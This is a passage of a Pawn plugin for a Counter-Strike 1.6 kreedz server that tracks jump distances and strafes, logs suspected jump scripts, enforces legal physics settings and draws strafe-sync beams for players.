	
	fprintf(f, "// StandUp CountJump (Double or Multi StandUp CountJump=SCJ+10units)(if 100aa all cvar dist +10 units)^n");
	fprintf(f, "kz_uq_good_scj %i^n",scj_good_dist);	
	fprintf(f, "kz_uq_pro_scj %i^n",scj_pro_dist);
	fprintf(f, "kz_uq_holy_scj %i^n",scj_holy_dist);
	fprintf(f, "kz_uq_leet_scj %i^n",scj_leet_dist);
	fprintf(f, "kz_uq_god_scj %i^n",scj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Drop StandUp CountJump(double,multi)^n");
	fprintf(f, "kz_uq_good_dropscj %i^n",dropscj_good_dist);	
	fprintf(f, "kz_uq_pro_dropscj %i^n",dropscj_pro_dist);
	fprintf(f, "kz_uq_holy_dropscj %i^n",dropscj_holy_dist);
	fprintf(f, "kz_uq_leet_dropscj %i^n",dropscj_leet_dist);
	fprintf(f, "kz_uq_god_dropscj %i^n",dropscj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Up Bhop^n");
	fprintf(f, "kz_uq_good_upbj %i^n",upbj_good_dist);	
	fprintf(f, "kz_uq_pro_upbj %i^n",upbj_pro_dist);
	fprintf(f, "kz_uq_holy_upbj %i^n",upbj_holy_dist);
	fprintf(f, "kz_uq_leet_upbj %i^n",upbj_leet_dist);
	fprintf(f, "kz_uq_god_upbj %i^n",upbj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Up StandBhop^n");
	fprintf(f, "kz_uq_good_upsbj %i^n",upsbj_good_dist);	
	fprintf(f, "kz_uq_pro_upsbj %i^n",upsbj_pro_dist);
	fprintf(f, "kz_uq_holy_upsbj %i^n",upsbj_holy_dist);
	fprintf(f, "kz_uq_leet_upsbj %i^n",upsbj_leet_dist);
	fprintf(f, "kz_uq_god_upsbj %i^n",upsbj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Bhop In Duck(Up Bhop In Duck)^n");
	fprintf(f, "kz_uq_good_bhopinduck %i^n",bhopinduck_good_dist);	
	fprintf(f, "kz_uq_pro_bhopinduck %i^n",bhopinduck_pro_dist);
	fprintf(f, "kz_uq_holy_bhopinduck %i^n",bhopinduck_holy_dist);
	fprintf(f, "kz_uq_leet_bhopinduck %i^n",bhopinduck_leet_dist);
	fprintf(f, "kz_uq_god_bhopinduck %i^n",bhopinduck_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Duck Bhop^n");
	fprintf(f, "kz_uq_good_duckbhop %i^n",duckbhop_good_dist);	
	fprintf(f, "kz_uq_pro_duckbhop %i^n",duckbhop_pro_dist);
	fprintf(f, "kz_uq_holy_duckbhop %i^n",duckbhop_holy_dist);
	fprintf(f, "kz_uq_leet_duckbhop %i^n",duckbhop_leet_dist);
	fprintf(f, "kz_uq_god_duckbhop %i^n",duckbhop_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Real Ladder Bhop^n");
	fprintf(f, "kz_uq_good_realldbhop %i^n",real_good_dist);	
	fprintf(f, "kz_uq_pro_realldbhop %i^n",real_pro_dist);
	fprintf(f, "kz_uq_holy_realldbhop %i^n",real_holy_dist);
	fprintf(f, "kz_uq_leet_realldbhop %i^n",real_leet_dist);
	fprintf(f, "kz_uq_god_realldbhop %i^n",real_god_dist);
	fprintf(f, "^n");
	
	fclose(f);
	
	server_cmd("exec %s", config);
	server_exec();
}
public Log_script(f_frames,cheated_frames,id,Float:log_dist,Float:log_max,Float:log_pre,log_str,log_sync,jump_type_str[],wpn_str[],punishments[],t_str[40*NSTRAFES])
{
	new Date[20];
	get_time("%m/%d/%y %H:%M:%S", Date, 19)	;
	new username[33];
	get_user_name(id, username, 32);
	new userip[16];
	get_user_ip(id, userip, 15, 1);
	new authid[35];
	get_user_authid(id, authid, 34);
	new main_text[512];
	
	write_file(logs_path, "---------------------------------------------------", -1);
	formatex(main_text, 511, "%s |%s |%s |%s |%s |%s ^n", Date,username, authid, userip, "Script",punishments);
	write_file(logs_path, main_text, -1);
	formatex(main_text, 511, "Type: %s ::: Weapon: %s^nDistance: %.03f Maxspeed: %.03f Prestrafe: %.03f Strafes: %d Sync: %d^n",jump_type_str,wpn_str,log_dist,log_max,log_pre,log_str,log_sync);
	write_file(logs_path, main_text, -1);
	formatex(main_text, 511, "Total Frames: %d^nCheated Frames: %d^n",f_frames,cheated_frames);
	write_file(logs_path, main_text, -1);
	
	new strf[40];
	for(new ll=INFO_ONE; (ll <= log_str) && (ll < NSTRAFES);ll++)
	{
		strtok(t_str,strf,40,t_str,40*NSTRAFES,'^n');
		replace(strf,40,"^n","");
		write_file(logs_path, strf, -1);
	}
	write_file(logs_path, "---------------------------------------------------", -1);
	
	if(uq_script_notify)
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
		Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
	}
}
public krasnota(id)
{                
		message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
		write_short(1<<10);
		write_short(1<<10);
		write_short(0x0000);
		write_byte(255);
		write_byte(0);
		write_byte(0);
		write_byte(110);
		message_end();
}

public sineva(id)
{                
		message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
		write_short(1<<10);
		write_short(1<<10);
		write_short(0x0000);
		write_byte(0);
		write_byte(0);
		write_byte(255);
		write_byte(110);
		message_end();
}

public tskFps(id)
{
	if( leg_settings)
	{
		id-=434490;
		client_cmd(id, "developer 0;fps_max 101;cl_forwardspeed 400;cl_sidespeed 400;cl_backspeed 400");
	}
}
public server_frame()
{
	if( leg_settings )
	{
		if( get_pcvar_num(edgefriction) != 2 )
			set_pcvar_num(edgefriction, 2);
		
		if( get_pcvar_num(mp_footsteps) != 1 )
			set_pcvar_num(mp_footsteps, 1);
		
		if( get_pcvar_num(sv_cheats) != 0 )
			set_pcvar_num(sv_cheats, 0);
		
		if( get_pcvar_num(sv_gravity)!= 800 )
			set_pcvar_num(sv_gravity, 800);
		
		if((uq_airaccel==0 || uq_airaccel==10) && get_pcvar_num(sv_airaccelerate) != 10 )
			set_pcvar_num(sv_airaccelerate, 10);
		else if((uq_airaccel==1 || uq_airaccel==100) && get_pcvar_num(sv_airaccelerate) != 100 )
			set_pcvar_num(sv_airaccelerate, 100);
		else if(get_pcvar_num(sv_airaccelerate) != uq_airaccel && uq_airaccel!=0 && uq_airaccel!=1)
			set_pcvar_num(sv_airaccelerate, uq_airaccel);
		
		if( get_pcvar_num(sv_maxspeed) != 320 )
			set_pcvar_num(sv_maxspeed, 320);
		
		if( get_pcvar_num(sv_stepsize) != 18 )
			set_pcvar_num(sv_stepsize, 18);
		
		if( get_pcvar_num(sv_maxvelocity) != 2000 )
			set_pcvar_num(sv_maxvelocity, 2000);
	}
}
public client_putinserver(id)
{
	if(speedon[id] && !is_user_hltv(id) && !is_user_bot(id))// && is_user_alive(id) && is_user_bot(id) && is_user_hltv())
	{
		set_task(0.1, "DoSpeed", id+212299, "", 0, "b", 0);
	}
	
	get_user_name(id, g_playername[id], 63);
	get_user_ip(id, g_playerip[id], 15, 1);
	get_user_authid(id, g_playersteam[id], 35);

	if(kz_sql == 1)
	{
		player_load_info(id);
	}
	
	if(is_user_admin(id))
	{
		player_admin[id]=true;
	}
}
public Dojof(taskid)
{
	taskid-=212398;
	
	static alive, spectatedplayer;
	alive = g_alive[taskid];
	spectatedplayer = get_spectated_player(taskid);
	
	if( (alive || spectatedplayer > 0))
	{
		new show_id;
		
		if( alive )
		{
			show_id=taskid;
		}
		else
		{
			show_id=spectatedplayer;
		}
		
		if(jof[show_id]!=0.0)
		{	
			if(jof[show_id]>5.0)
			{
				set_hudmessage(255, 255, 255, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_speed);
			}
			else
			{
				set_hudmessage(255, 0, 0, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_speed);
			}
			show_hudmessage(taskid,"%L",LANG_SERVER,"UQSTATS_JOF", jof[show_id]);
		}
	}
}


public DoSpeed(taskid)
{
	taskid-=212299;
	
	static alive, spectatedplayer;
	alive = g_alive[taskid];
	spectatedplayer = get_spectated_player(taskid);
	
	if( (alive || spectatedplayer > 0))
	{
		new show_id;
		
		if( alive )
		{
			show_id=taskid;
		}
		else
		{
			show_id=spectatedplayer;
		}
		
		new Float:velocity[3];
		pev(show_id, pev_velocity, velocity);
			
		if( velocity[2] != 0 )
			velocity[2]-=velocity[2];
					
		new Float:speedy = vector_length(velocity);
		
		if(speedtype[taskid])
		{
			set_dhudmessage(speed_r, speed_g, speed_b, speed_x, speed_y, 0, 0.0, 0.1, 0.0, 0.0);
			show_dhudmessage(taskid, "%L",LANG_SERVER,"UQSTATS_SPEEDSHOW", floatround(speedy, floatround_floor));
		}
		else
		{
			set_hudmessage(speed_r, speed_g, speed_b, speed_x, speed_y, 0, 0.0, 0.2, 0.0, 0.0, h_speed);
			show_hudmessage(taskid, "%L",LANG_SERVER,"UQSTATS_SPEEDSHOW", floatround(speedy, floatround_floor));		
		}
	}
}
public wait(id)
{
	id-=3313;
	waits[id]=1;

}

public wait1(id)
{
	id-=3214;
	waits1[id]=1;

}

public client_command(id)
{
	static command[32];
	read_argv( 0, command, 31 );

	static const forbidden[][] = {
		"tele", "tp", "gocheck", "gc", "stuck", "unstuck", "start", "reset", "restart",
		"spawn", "respawn"
	};
	if(uq_info)
	{
		if(record_start[id]==0 && equali( command, "fullupdate" ))
		{
			record_start[id]=1;
		}
		else if(record_start[id]==1 && equali( command, "specmode" ))
		{
			set_hudmessage(255, 255, 255, 0.72, 0.0, 0, 6.0, 1.0);
			show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_INFOSTS",VERSION);
			
			record_start[id]=0;
		}
	}
	
	if( equali( command, "say" ) )
	{
		read_args( command, 31 );
		remove_quotes( command );
	}
	
	if( equali( command, "+hook" ) )
	{
		JumpReset(id,0);
		donehook[id]=true;
		hookcheck[id]=false;
	}
	else if( command[0] == '/' || command[0] == '.' )
	{
		copy( command, 31, command[1] );
		
		for( new i ; i < sizeof( forbidden ) ; i++ )
		{
			if( equali( command, forbidden[i] ) )
			{
				JumpReset(id,1);
				break;
			}
		}
	}
}
public remove_beam_ent(id)
{
	for(new i=0;i<ent_count[id];i++)
	{
		message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
		write_byte(99);
		write_short(beam_entity[id][i]);
		message_end();
		
		remove_entity(beam_entity[id][i]);
	}
	ent_count[id]=0;
}
public epta(id,Float:or[3],direct_strafe,l_lost[NSTRAFES][NVAR],full,ducked,str_num,strafe_frame1[NSTRAFES],strafe_frame2[NSTRAFES],strafe_lost[NSTRAFES])
{	
	new Float:os_start,Float:temp_or[3],direct[2];
	
	switch(direct_strafe)
	{
		case 1:
		{
			temp_or[0]=or[0];
			temp_or[1]=or[1]+48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
		}
		case 2:
		{
			temp_or[0]=or[0];
			temp_or[1]=or[1]-48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
			
			direct[1]=1;
		}
		case 3:
		{
			temp_or[0]=or[1];
			temp_or[1]=or[0]+48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
			
			direct[0]=1;
			direct[1]=1;
		}
		case 4:
		{
			temp_or[0]=or[1];
			temp_or[1]=or[0]-48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
			
			direct[0]=1;
		}
	}
	
	os_start=temp_or[0]-(full/2);

	if(direct[1])
	{
		new Float:temp_start=os_start+full;
			
		beam_entity[id][ent_count[id]] = create_entity("info_target");
		
		//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
		entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
		
		new Float:ent_or[3];
		if(direct[0])
		{
			ent_or[0]=temp_or[1];
			ent_or[1]=temp_start;
		}
		else 
		{
			ent_or[0]=temp_start;
			ent_or[1]=temp_or[1];
		}
		ent_or[2]=temp_or[2];
		
		entity_set_origin(beam_entity[id][ent_count[id]], ent_or);
		
		message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
		
		write_byte(TE_BEAMENTPOINT);
		write_short(beam_entity[id][ent_count[id]]);
	
///////////////////////////////////////////	
		if(direct[0])
		{
			write_coord(floatround(temp_or[1]));
			write_coord(floatround(temp_start-full));
		}
		else 
		{
			write_coord(floatround(temp_start-full));
			write_coord(floatround(temp_or[1]));
		}
		write_coord(floatround(temp_or[2]));
///////////////////////////////////////////	
		write_short(heystats);
		write_byte(0);
		write_byte(5);
		write_byte(showtime_st_stats[id]);
		write_byte(1);
		write_byte(0);
			
		
		write_byte(0);
		write_byte(0);
		write_byte(255);
	
		write_byte(150);
		write_byte(1);
		message_end();
		
		ent_count[id]++;
		
		for(new i=0;i<2;i++)
		{
			beam_entity[id][ent_count[id]] = create_entity("info_target");
			
			//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
			entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
			
			new Float:ent_org[3];
			if(direct[0])
			{
				ent_org[0]=temp_or[1];
				
				if(i==1)
					ent_org[1]=temp_start-full;
				else
					ent_org[1]=temp_start;
			}
			else 
			{
				if(i==1)
					ent_org[0]=temp_start-full;
				else
					ent_org[0]=temp_start;
					
				ent_org[1]=temp_or[1];
			}
			ent_org[2]=temp_or[2]-10.0;
			
			entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
			
			message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
			
			write_byte(TE_BEAMENTPOINT);
			write_short(beam_entity[id][ent_count[id]]);
			
	///////////////////////////////////////////	
			if(direct[0])
			{
				write_coord(floatround(temp_or[1]));
				
				if(i==1)
					write_coord(floatround(temp_start-full));
				else
					write_coord(floatround(temp_start));
			}
			else 
			{
				if(i==1)
					write_coord(floatround(temp_start-full));
				else
					write_coord(floatround(temp_start));
					
				write_coord(floatround(temp_or[1]));
			}
			write_coord(floatround(temp_or[2]+10.0));
	///////////////////////////////////////////	
			write_short(heystats);
			write_byte(0);
			write_byte(5);
			write_byte(showtime_st_stats[id]);
			write_byte(5);
			write_byte(0);
				
			
			write_byte(0);
			write_byte(0);
			write_byte(255);
		
			write_byte(150);
			write_byte(1);
			message_end();
			
			ent_count[id]++;
		}
		
		for(new i=1;i<=str_num;i++)
		{
			new Float:st_start,Float:st_finish;
			
			st_finish=temp_start-strafe_lost[i]-strafe_frame1[i]-strafe_frame2[i];
			st_start=temp_start-strafe_lost[i];
			
			for(new Float:j=st_start,count_l=0;j>st_finish;j=j-1.0)
			{
				beam_entity[id][ent_count[id]] = create_entity("info_target");
		
				//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
				entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
				
				new Float:ent_org[3];
				if(direct[0])
				{
					ent_org[0]=temp_or[1];
					ent_org[1]=j;
				}
				else 
				{
					ent_org[0]=j;
					ent_org[1]=temp_or[1];
				}
				
				if(i%2!=0)
					ent_org[2]=temp_or[2];
				else 
					ent_org[2]=temp_or[2]-4.0;
				
				entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
				
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				
				write_byte(TE_BEAMENTPOINT);
				write_short(beam_entity[id][ent_count[id]]);
				
		///////////////////////////////////////////	
				if(direct[0])
				{
					write_coord(floatround(temp_or[1]));
					write_coord(floatround(j));
				}
				else 
				{
					write_coord(floatround(j));
					write_coord(floatround(temp_or[1]));
				}
				
				if(i%2!=0)
					write_coord(floatround(temp_or[2]+4.0));
				else 
					write_coord(floatround(temp_or[2]));
		///////////////////////////////////////////	
				write_short(heystats);
				write_byte(0);
				write_byte(5);
				write_byte(showtime_st_stats[id]);
				write_byte(5);
				write_byte(0);
					
				if(l_lost[i][count_l])
				{
					write_byte(255);
					write_byte(0);
					write_byte(0);
					line_lost[id][i][count_l]=0;
				}
				else
				{
					write_byte(0);
					write_byte(255);
					write_byte(0);
				}
				
				write_byte(200);
				write_byte(1);
				message_end();
				count_l++;
				ent_count[id]++;
			}
			temp_start=st_finish;
			
		}
	}
	else
	{
		new Float:temp_start=os_start;
		
		beam_entity[id][ent_count[id]] = create_entity("info_target");
		
	//	entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
		entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
		
		new Float:ent_or[3];
		if(direct[0])
		{
			ent_or[0]=temp_or[1];
			ent_or[1]=temp_start;
		}
		else 
		{
			ent_or[0]=temp_start;
			ent_or[1]=temp_or[1];
		}
		ent_or[2]=temp_or[2];
		
		entity_set_origin(beam_entity[id][ent_count[id]], ent_or);
		
		message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
		
		write_byte(TE_BEAMENTPOINT);
		write_short(beam_entity[id][ent_count[id]]);
		
///////////////////////////////////////////	
		if(direct[0])
		{
			write_coord(floatround(temp_or[1]));
			write_coord(floatround(temp_start+full));
		}
		else 
		{
			write_coord(floatround(temp_start+full));
			write_coord(floatround(temp_or[1]));
		}
		write_coord(floatround(temp_or[2]));
///////////////////////////////////////////	
		write_short(heystats);
		write_byte(0);
		write_byte(5);
		write_byte(showtime_st_stats[id]);
		write_byte(1);
		write_byte(0);
			
		
		write_byte(0);
		write_byte(0);
		write_byte(255);
	
		write_byte(150);
		write_byte(1);
		message_end();
		
		ent_count[id]++;
		
		for(new i=0;i<2;i++)
		{
			beam_entity[id][ent_count[id]] = create_entity("info_target");
		
			//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
			entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
			
			new Float:ent_org[3];
			if(direct[0])
			{
				ent_org[0]=temp_or[1];
				
				if(i==1)
					ent_org[1]=temp_start+full;
				else
					ent_org[1]=temp_start;
			}
			else 
			{
				if(i==1)
					ent_org[0]=temp_start+full;
				else
					ent_org[0]=temp_start;
					
				ent_org[1]=temp_or[1];
			}
			ent_org[2]=temp_or[2]-10.0;
			
			entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
			
			message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
			
			write_byte(TE_BEAMENTPOINT);
			write_short(beam_entity[id][ent_count[id]]);
	///////////////////////////////////////////	
			if(direct[0])
			{
				write_coord(floatround(temp_or[1]));
				
				if(i==1)
					write_coord(floatround(temp_start+full));
				else
					write_coord(floatround(temp_start));
			}
			else 
			{
				if(i==1)
					write_coord(floatround(temp_start+full));
				else
					write_coord(floatround(temp_start));
					
				write_coord(floatround(temp_or[1]));
			}
			write_coord(floatround(temp_or[2]+10.0));
	///////////////////////////////////////////	
			write_short(heystats);
			write_byte(0);
			write_byte(5);
			write_byte(showtime_st_stats[id]);
			write_byte(5);
			write_byte(0);
				
			
			write_byte(0);
			write_byte(0);
			write_byte(255);
		
			write_byte(150);
			write_byte(1);
			message_end();
			
			ent_count[id]++;
		}
		
		for(new i=1;i<=str_num;i++)
		{
			new Float:st_start,Float:st_finish;
			
			st_finish=temp_start+strafe_lost[i]+strafe_frame1[i]+strafe_frame2[i];
			st_start=temp_start+strafe_lost[i];
			//ColorChat(id,RED,"start=%f tempstart=%f st_start=%f st_finish=%f",os_start,temp_start, st_start,st_finish);
			
			for(new Float:j=st_start,count_l=0;j<st_finish;j++)
			{
				beam_entity[id][ent_count[id]] = create_entity("info_target");
		
			//	entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
				entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
				
				new Float:ent_org[3];
				if(direct[0])
				{
					ent_org[0]=temp_or[1];
					ent_org[1]=j;
				}
				else 
				{
					ent_org[0]=j;
					ent_org[1]=temp_or[1];
				}
				
				if(i%2!=0)
					ent_org[2]=temp_or[2];
				else 
					ent_org[2]=temp_or[2]-4.0;
				
				entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
				
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				
				write_byte(TE_BEAMENTPOINT);
				write_short(beam_entity[id][ent_count[id]]);

		///////////////////////////////////////////	
				if(direct[0])
				{
					write_coord(floatround(temp_or[1]));
					write_coord(floatround(j));
				}
				else 
				{
					write_coord(floatround(j));
					write_coord(floatround(temp_or[1]));
				}
				
				if(i%2!=0)
					write_coord(floatround(temp_or[2]+4.0));
				else 
					write_coord(floatround(temp_or[2]));
		///////////////////////////////////////////	
				write_short(heystats);
				write_byte(0);
				write_byte(5);
				write_byte(showtime_st_stats[id]);
				write_byte(5);
				write_byte(0);
					
				if(l_lost[i][count_l])
				{
					write_byte(255);
					write_byte(0);
					write_byte(0);
					line_lost[id][i][count_l]=0;
				}
				else
				{
					write_byte(0);
					write_byte(255);
					write_byte(0);
				}
				
				write_byte(200);
				write_byte(1);
				message_end();
				count_l++;
				ent_count[id]++;
			}
			temp_start=st_finish;
		}
	}
}


public fwdPreThink( id )
{
	if(g_userConnected[id]==true && g_pBot[id]==false)
	{	
		if(uq_admins==1 && !player_admin[id])
		{
			return FMRES_IGNORED;
		}
		else
		{
			new tmpTeam[33],dead_flag;	
			get_user_team(id,tmpTeam,32);
			dead_flag=pev(id, pev_deadflag);
			
			if(equali(tmpTeam,"SPECTATOR") && g_alive[id])
			{
				g_alive[id]=false;
				
				if( task_exists(id, 0) )
					remove_task(id, 0);
					
				if( task_exists(id+434490, 0) )
					remove_task(id+434490, 0);
					
				if( task_exists(id, 0) )
					remove_task(id, 0);
				
				if( task_exists(id+89012, 0) )
					remove_task(id+89012, 0);
				
				if( task_exists(id+3313, 0) )
					remove_task(id+3313, 0);
				
				if( task_exists(id+3214, 0) )
					remove_task(id+3214, 0);
					
				if( task_exists(id+15237, 0) )
					remove_task(id+15237, 0);
				
				if( task_exists(id+212398, 0) )
					remove_task(id+212398, 0);
			}
			else if(equali(tmpTeam,"TERRORIST") || equali(tmpTeam,"CT"))
			{
				if(dead_flag==2 && g_alive[id])
				{
					g_alive[id]=false;
					
					if( task_exists(id, 0) )
						remove_task(id, 0);
						
					if( task_exists(id+434490, 0) )
						remove_task(id+434490, 0);
						
					if( task_exists(id, 0) )
						remove_task(id, 0);
					
					if( task_exists(id+89012, 0) )
						remove_task(id+89012, 0);
					
					if( task_exists(id+3313, 0) )
						remove_task(id+3313, 0);
					
					if( task_exists(id+3214, 0) )
						remove_task(id+3214, 0);
						
					if( task_exists(id+15237, 0) )
						remove_task(id+15237, 0);
					
					if( task_exists(id+212398, 0) )
						remove_task(id+212398, 0);
				}
				else if(dead_flag==0 && g_alive[id]==false)
				{
					g_alive[id]=true;
				}
			}
			
			
			
			if(uq_team==0)
			{
				team[id]=0;
			}
			else if(equali(tmpTeam,"TERRORIST"))
			{
				team[id]=1;
			}
			else if(equali(tmpTeam,"CT"))
			{
				team[id]=2;
			}
			else
			{
				team[id]=uq_team;
			}
			
			if( g_alive[id] && team[id]==uq_team)
			{
				static bool:failed_ducking[33];
				static bool:first_frame[33];
				static Float:duckoff_time[33];
				static Float:duckoff_origin[33][3], Float:pre_jumpoff_origin[33][3];
				static Float:jumpoff_foot_height[33];	
				static Float:prest[33],Float:prest1[33],Float:jumpoff_origin[33][3],Float:failed_velocity[33][3],Float:failed_origin[33][3];
				static Float:frame_origin[33][2][3], Float:frame_velocity[33][2][3], Float:jumpoff_time[33], Float:last_land_time[33];
				
				new entlist1[1];
				
				weapSpeedOld[id] = weapSpeed[id];
				
				if( g_reset[id] ==true)
				{
					angles_arry[id]=0;
					dd_sync[id]=0;
					g_reset[id]	= false;
					g_Jumped[id]	= false;
					cjjump[id] =false;
					in_air[id]	= false;
					in_duck[id]	= false;
					in_bhop[id]	= false;
					ducks[id]=0;
					first_duck_z[id]=0.0;
					backwards[id]=false;
					dropaem[id]=false;
					failed_jump[id] = false;
					prest[id]=0.0;
					bug_true[id]=false;
					detecthj[id]=0;
					edgedone[id]=false;
					jumpblock[id]=1000;
					schetchik[id]=0;
					CjafterJump[id]=0;
					upBhop[id]=false;
					old_type_dropbj[id]=Type_Null;
					first_surf[id]=false;
					surf[id]=0.0;
					ddbeforwj[id]=false;
					duckstring[id]=false;
					notjump[id]=false;
					frames_gained_speed[id] = 0;
					frames[id]	= 0;
					strafe_num[id] = 0;
					ladderjump[id]=false;
					started_multicj_pre[id]	= false;
					started_cj_pre[id]		= false;
					jumpoffirst[id]=false;
					jump_type[id]	= Type_None;
					gBeam_count[id] = 0;
					edgedist[id]=0.0;
					oldjump_height[id]=0.0;
					jheight[id]=0.0;
					duckbhop_bug_pre[id]=false;
					FullJumpFrames[id]=0;
					direct_for_strafe[id]=0;
					ddstandcj[id]=false;
					
					for( new i = 0; i < 100; i++ )
					{
						gBeam_points[id][i][0]	= 0.0;
						gBeam_points[id][i][1]	= 0.0;
						gBeam_points[id][i][2]	= 0.0;
						gBeam_duck[id][i]	= false;
						gBeam_button[id][i]=false;
						
					}
					Checkframes[id]=false;
					for(new i=0;i<NSTRAFES;i++)
					{
						type_button_what[id][i]=0;
						if(uq_istrafe)
							lost_frame_count[id][i]=0;						
					}
					
					if(uq_istrafe)
					{
						for(new i=0;i<=line_erase_strnum[id];i++)
						{
							for( new j = 0; j <= line_erase[id][i]; j++ )
							{
								if(i<NSTRAFES && j<NVAR)
									line_lost[id][i][j]=0;
							}
						}
					}
				}
				
				static button, oldbuttons, flags;
				pev(id, pev_maxspeed, weapSpeed[id]);
				pev(id, pev_origin, origin);
				button = pev(id, pev_button );
				flags = pev(id, pev_flags );
				oldbuttons = pev( id, pev_oldbuttons );
				
				static Float:fGravity,Pmaxspeed;
				pev(id, pev_gravity, fGravity);
				Pmaxspeed=pev( id, pev_maxspeed );
				new Float:velocity[3];
				pev(id, pev_velocity, velocity);
				movetype[id] = pev(id, pev_movetype);
				
				if( flags&FL_ONGROUND && flags&FL_INWATER )  
						velocity[2] = 0.0;
				if( velocity[2] != 0 )
					velocity[2]-=velocity[2];
					
				speed[id] = vector_length(velocity);	
				
				new is_spec_user[33];
				for( new i = INFO_ONE; i < max_players; i++ )
				{
					is_spec_user[i]=is_user_spectating_player(i, id);
				}
				if(strafe_num[id]>NSTRAFES1)
				{
					g_reset[id]=true;
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							set_hudmessage( 255, 255, 255, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
							show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_STR1",NSTRAFES1,strafe_num[id]);	
						}
					}
					return FMRES_IGNORED;
				}
				
				
				if((button&IN_RIGHT || button&IN_LEFT) && !(flags&FL_ONGROUND))
				{
					for(new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							client_print(i,print_center,"%L",LANG_SERVER,"UQSTATS_STR2");
							JumpReset(id,28);
							return FMRES_IGNORED;
						}
					}
				}
				new airace,aircj;
				if(uq_airaccel<=10 && uq_airaccel!=1)
				{
					if(uq_airaccel==0)
						airace=10;
					else
						airace=uq_airaccel;
						
					aircj=0;
					formatex(airacel[id],32,"");
				}
				else
				{
					if(uq_airaccel==1)
					{
						airace=100;
						formatex(airacel[id],32,"(100aa)");
					}
					else
					{
						airace=uq_airaccel;
						formatex(airacel[id],32,"(%daa)",uq_airaccel);
					}
					aircj=10;
				}
				
				new spd;
				if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
				{
					spd=1400;
				}
				else spd=450;
				
				if(speed[id]> spd || weapSpeedOld[id] != weapSpeed[id])
				{
					if(weapSpeedOld[id] != weapSpeed[id])
					{
						
						changetime[id]=get_gametime();
					}
					JumpReset(id,29);
					return FMRES_IGNORED;
				}
				
				if(leg_settings==1 && (get_pcvar_num(edgefriction) != 2 || fGravity != 1.0 || get_pcvar_num(mp_footsteps) != 1
					|| get_pcvar_num(sv_cheats) != 0
					|| get_pcvar_num(sv_gravity) != 800
					|| get_pcvar_num(sv_airaccelerate) != airace
					|| get_pcvar_num(sv_maxspeed) != 320
					|| get_pcvar_num(sv_stepsize) != 18
					|| get_pcvar_num(sv_maxvelocity) != 2000
					|| pev(id, pev_waterlevel) >= 2 ))
					{
						JumpReset(id,99);
						return FMRES_IGNORED;
					}
			
				if(!(button&IN_MOVELEFT)
				&& oldbuttons&IN_MOVELEFT)
				{
					preessbutton[id]=false;
					button_what[id]=0;
				}
				else if(oldbuttons&IN_MOVERIGHT
				&& !(button&IN_MOVERIGHT))
				{
					button_what[id]=0;
					preessbutton[id]=false;
				}
				else if(oldbuttons&IN_BACK
				&& !(button&IN_BACK))
				{
					preessbutton[id]=false;
					button_what[id]=0;
				}
				else if(oldbuttons&IN_FORWARD
				&& !(button&IN_FORWARD))
				{
					preessbutton[id]=false;
					button_what[id]=0;
				}
					
				if( !(flags&FL_ONGROUND) )
				{
					last_land_time[id] = get_gametime();
					jof[id]=0.0;
				}
					
				
				if(bhopaem[id]==true && !(flags&FL_ONGROUND) && movetype[id] != MOVETYPE_FLY)
				{
					bhopaemtime[id]=get_gametime();
				}
